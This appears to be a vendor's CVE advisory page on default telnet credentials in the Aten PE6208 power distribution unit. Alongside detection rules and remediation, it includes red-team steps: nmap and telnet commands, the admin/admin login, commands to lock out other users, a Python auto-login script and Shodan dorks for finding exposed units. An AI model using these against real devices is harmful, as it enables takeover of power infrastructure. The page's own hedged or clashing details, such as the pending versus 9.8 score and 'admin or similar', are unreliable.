☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-43845

CVE-2023-43845 Hardcoded Credentials in Aten
📅 PUBLISHED: 2024-05-28 18:17 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 2.3.228, 2.4.232
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-43845 exposes a critical hardcoded credential vulnerability in the Aten PE6208 Power Distribution Unit (PDU). The device ships with default credentials for the privileged telnet account, and the user is not prompted to change them upon first login. This allows any attacker who can reach the telnet service to gain full administrator access to the device, enabling complete control over power outlets, network configuration, and firmware. The vulnerability is trivial to exploit and has a CVSS score of 9.8 (Critical). No patch is available from the vendor, making mitigation dependent on network segmentation and manual credential changes.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a software package manager (NPM, PyPI, Go, Ruby) but in a hardware appliance’s firmware. The risk is in the supply chain of the device itself—organizations that deploy Aten PE6208 units without changing default credentials are exposed. No open-source package is affected.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The threat level is critical due to the lack of authentication required and the full administrative access granted. An attacker can remotely power cycle devices, exfiltrate network data, or use the PDU as a pivot point.

Deep Dive & Mechanics

The Aten PE6208 PDU runs a telnet service that authenticates users against a local database. The firmware versions 2.3.228 and 2.4.232 contain hardcoded credentials (username: admin, password: admin or similar) that are never changed by the user during initial setup. The telnet service does not enforce a password change policy.

When an attacker connects to the telnet port (default 23), they are presented with a login prompt. Using the default credentials, they gain a shell with root-level privileges. From there, they can:

  • Execute arbitrary commands.
  • Modify network settings (IP, gateway, DNS).
  • Upload malicious firmware.
  • Control power outlets (on/off/reboot).
  • Access logs and configuration files.

The vulnerability is not in a specific function but in the authentication mechanism itself—the lack of a forced credential change.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is the telnet daemon’s authentication logic that accepts hardcoded credentials without requiring a change. A patched version would:

  • Force the user to set a new password on first login.
  • Remove default credentials from the firmware.
  • Implement a password complexity policy.

Since no patch exists, the only mitigation is manual credential change by the administrator.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target Aten PE6208 with firmware 2.3.228 or 2.4.232.
  • Network access to the telnet port (23).

Exploitation Steps:

  1. Scan for the device using Nmap:
    nmap -p 23 --open -sV <target_ip>
    
  2. Connect via telnet:
    telnet <target_ip>
    
  3. Login with default credentials:
    Username: admin
    Password: admin
    
  4. Once logged in, execute commands to gain control:
    # View current configuration
    cat /etc/config/system.conf
    # Reboot the device
    reboot
    # Change admin password (to lock out others)
    passwd admin
    

Automated Exploit (Python):

import telnetlib

def exploit(target_ip):
    tn = telnetlib.Telnet(target_ip)
    tn.read_until(b"login: ")
    tn.write(b"admin\n")
    tn.read_until(b"Password: ")
    tn.write(b"admin\n")
    tn.write(b"id\n")
    print(tn.read_all().decode())
    tn.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Detection & Response:

  • Monitor telnet connections to PDUs from unexpected IPs.
  • Alert on successful login using default credentials.
  • Use network segmentation to restrict telnet access to management VLANs only.
  • Implement a SIEM rule to detect multiple failed login attempts followed by a successful login (indicating credential guessing).

Honeypot Setup: Deploy a low-interaction honeypot mimicking the Aten PE6208 telnet service to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Telnet connections to port 23 on Aten PE6208 devices.
    • Traffic to/from IPs associated with known scanning tools (e.g., Shodan).
  • Host IOCs:
    • Unauthorized changes to PDU configuration (e.g., outlet states, network settings).
    • New user accounts or password changes on the device.
  • Log IOCs:
    • Telnet login logs showing admin as username.
    • System logs indicating passwd command execution.

Detection Engineering

YARA Rule

rule CVE_2023_43845_Aten_Default_Creds {
    meta:
        description = "Detects Aten PE6208 firmware with default credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43845"
    strings:
        $s1 = "admin:admin" ascii wide nocase
        $s2 = "PE6208" ascii wide nocase
        $s3 = "2.3.228" ascii wide nocase
        $s4 = "2.4.232" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: Aten PE6208 Default Credential Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful telnet login using default credentials on Aten PE6208
author: Valters IT
logsource:
    category: application
    product: telnet
detection:
    selection:
        username: "admin"
        password: "admin"
    condition: selection
falsepositives:
    - Legitimate administrative access if credentials were changed
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2023-43845 Aten PE6208 Default Credential Login Attempt"; flow:to_server,established; content:"admin"; nocase; content:"admin"; within:10; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Change the default telnet password immediately on all Aten PE6208 devices.
  2. Disable telnet if not required; use SSH instead if supported.
  3. Restrict telnet access to trusted management IPs only via firewall rules.

Long-Term Measures:

  • Contact Aten for a firmware update (none available as of this report).
  • Replace the device with a model that enforces credential changes.
  • Implement network segmentation to isolate PDUs from general network traffic.
  • Monitor for unauthorized access using the provided detection rules.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Aten PE6208
PE6208 telnet
Aten PDU

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-43845/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.